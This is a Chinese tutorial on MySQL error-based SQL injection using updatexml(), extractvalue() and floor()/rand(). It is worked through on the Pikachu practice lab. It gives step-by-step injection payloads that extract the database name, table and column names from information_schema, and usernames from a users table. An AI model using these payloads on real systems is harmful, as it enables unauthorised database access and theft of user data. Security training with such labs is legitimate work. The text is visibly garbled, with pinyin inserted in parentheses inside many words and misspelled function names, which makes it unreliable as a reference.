常用的用來報(bào)錯的函數(shù)
updatexml() :? ?函數(shù)是MYSQL對XML文檔數(shù)據(jù)進(jìn)行查詢和修改的XPATH函數(shù)。
extractvalue(): 函數(shù)也是MYSQL對XML文檔數(shù)據(jù)進(jìn)行查詢的XPATH函數(shù)。
floor():? ? ? ? ? ? ?MYSQL中用來取整的函數(shù)。

思路：

在MySQL中使用一些指定的函數(shù)來制造報(bào)錯，從而從報(bào)錯信息中獲取設(shè)定的信息。select / insert / update / delete 都可以使用報(bào)錯來獲取信息。

前提條件是后臺沒有屏蔽數(shù)據(jù)庫報(bào)錯信息，在語法發(fā)生錯誤時，會輸出到前端。

updatexml()
Updatexm()函數(shù)作用: 改變(查找并替換) XML文檔中符合條件的節(jié)點(diǎn)的值。
語法: UPDATEXML (xml document, XPathstring, new_value)

第一個參數(shù): fiedname是String格式，為表中的字段名。
第二個參數(shù): XPathstring (Xpath格式的字符串)。
第三個參數(shù): new. value，String格式，替換查找到的符合條件的

Xpath定位必須是有效的，否則會發(fā)生錯誤。?

pikachu - 字符型注入(GET) 實(shí)驗(yàn)：

aa' and updatexml(1,concat(0x7e,database()),0)#// 0x7e  是 ~ 的十六進(jìn)制 ,避免報(bào)錯信息被吃掉；

如果沒有concat ，而是aa' and updatexml(1,database(),0)#? ?

這樣報(bào)錯信息會少一部分，沒法完全展示；

獲取到了數(shù)據(jù)庫名稱 pikachu，我們可以把 database()?替換成任意我們想要獲得的東西。

得到數(shù)據(jù)庫名稱后，根據(jù)數(shù)據(jù)庫名，查詢表名

aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu')),0)#
// 中間的select 語句要用() 括號括起來//查詢報(bào)多于一行
aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 1)),0)#

使用上述語句，查到第一張表名；繼續(xù)使用limit 1,1? ?或 limit 2,1?查詢下去，可以把所有的表名查詢出來； 或者burp suite? 參數(shù)化查詢把所有表查出來。

得到表名后，可以根據(jù)表名查詢字段名

aa' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0)#

得到所有列名。可以根據(jù)列名獲取數(shù)據(jù)

aa' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

extractvalue()

extractvalue()函數(shù)作用:從目標(biāo)XML中返回包含所查詢值的字符串。
語法: ExtractValue(xm| _document, xpath. string)

第一個參數(shù): XML document是String格式，為XML文檔對象的名稱,文中為Doc
第二個參數(shù): XPath_ string (Xpath格式的字符串)

Xpath定位必須是有效的,否則會發(fā)生錯誤。
打開字符型注入，輸入payload。

aa' and extractvalue(0,concat(0x7e,version()))#

效果差不多，理解以此類推即可。

floor()

原因：floor()報(bào)錯注入的原因是 groupby 在向臨時表插入數(shù)據(jù)時，由于rand()多次計(jì)算導(dǎo)致插入臨時表時主鍵重復(fù)，從而報(bào)錯，又因?yàn)閳?bào)錯前 concat()中的SQL語句或函數(shù)被執(zhí)行，所以該語句報(bào)錯且被拋出的主鍵是SQL語句或數(shù)執(zhí)行后的結(jié)果。

floor()函數(shù)：對傳入的值進(jìn)行向下取整操作，并返回結(jié)果，如floor(1.999),則返回1 ；

rand()函數(shù)，返回隨機(jī)數(shù)

rand(x)函數(shù)，x在這里代表參數(shù)，當(dāng)rand()函數(shù)有了參數(shù)后，生成的就是偽隨機(jī)數(shù)，什么意思呢？比如你使用rand(0)產(chǎn)生的第一個隨機(jī)數(shù)產(chǎn)生的隨機(jī)數(shù)相同，也就是當(dāng)rand(x)這個參數(shù)x已知的時候我們就能知道；

在字符型中輸入payload得到版本號。

aa' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

?